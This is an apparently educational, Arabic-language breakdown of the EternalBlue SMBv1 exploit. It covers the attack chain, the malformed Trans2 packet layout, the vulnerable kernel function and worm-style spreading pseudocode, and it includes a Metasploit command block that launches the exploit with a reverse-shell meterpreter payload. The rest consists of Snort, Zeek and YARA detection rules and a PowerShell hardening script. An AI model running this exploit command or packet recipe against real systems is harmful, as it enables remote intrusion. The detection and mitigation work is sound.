[المهاجم] 
   │
   ├──▶ يرسل طلب **Trans2** من SMBv1 مصمم خصيصًا
   │       → يسبب **تجاوز سعة الكومة** في `srv!SrvOS2FeaListSizeToNt`
   │
   ├──▶ يكتب فوق مؤشرات الدوال → **كود شيل في النواة**
   │
   └──▶ ينفذ باب خلفي **DoublePulsar** → **حمولة في Ring-0**
           (مثل `mssecsvc.exe` من WannaCry)

SMB_COM_NEGOTIATE → يرسل العميل قائمة اللهجات
يستجيب الخادم: SMBv1 مدعوم → تابع

\\TARGET\IPC$ → مشاركة مجهولة لأنابيب SMB

FEALIST {
    SizeOfListInBytes = 0xFFFF (أو قيمة كبيرة)
    ...
}

FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → تجاوز السعة للمخزن المؤقت
}

srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // يتحكم فيه المهاجم
    PULONG pNtFeaListSize  // مؤشر الإخراج
)
{
    // لا يوجد تحقق من FeaList->SizeOfListInBytes
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // BOOM
}

EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → تشفير الملفات

رأس SMB
└── الأمر: 0x32 (TRANSACTION2)
    └── الإعداد: 0x000E (SESSION_SETUP)
        └── المعامل: TotalDataCount = 0x1000
            └── البيانات: 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → رش الكومة
                [OVERFLOW] → الكتابة فوق التجمع
                [SHELLCODE] → x64 ring0

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

alert tcp any any -> $HOME_NET 445 (
    msg:"محاولة ETERNALBLUE";
    flow:to_server,established;
    content:"|ff|SMB2"; depth:5;
    content:"|00 04 08 00|"; distance:100; within:4;
    classtype:attempted-admin;
    sid:1000001;
)

event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
    if (args$data_len > 4096) {
        NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
    }
}

while (true) {
    امسح الشبكة بحثًا عن المنفذ 445
    if (مفتوح) → استغلال EternalBlue
    if (نجاح) → إسقاط mssecsvc.exe + الانتشار
    Sleep(random(1000, 5000))
}

حزمة SMB → تجاوز المخزن المؤقت → كود شيل النواة → DoublePulsar → البرنامج الخبيث

rule WannaCry_Ransomware {
    strings:
        $mz = { 4d 5a }
        $s1 = "WannaDecryptor" wide
        $s2 = "tasksche.exe"
        $s3 = "@WANA" ascii
        $encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
    condition:
        $mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
    strings:
        $pdb = "perfc.dat" nocase
        $dll = "dllhost.dat"
        $mof = "ntdevmgr.vbs"
        $mimikatz = "mimikatz"
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

rule EternalBlue_SMB_Exploit {
    strings:
        $smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
        $tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
        $trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
        $overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
    condition:
        all of them
}

# === سيناريو تحصين ETERNALBLUE ===
Write-Host "تطبيق الإجراءات التخفيفية لـ EternalBlue..." -ForegroundColor Cyan

# 1. تعطيل SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# 2. حظر المنفذ 445
New-NetFirewallRule -DisplayName "حظر SMB الوارد" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445

# 3. تمكين توقيع SMB
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

# 4. التحقق من التصحيح
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "مصحح!" -ForegroundColor Green } else { Write-Host "غير مصحح!" -ForegroundColor Red }

Write-Host "مطلوب إعادة تشغيل. تشغيل كمسؤول."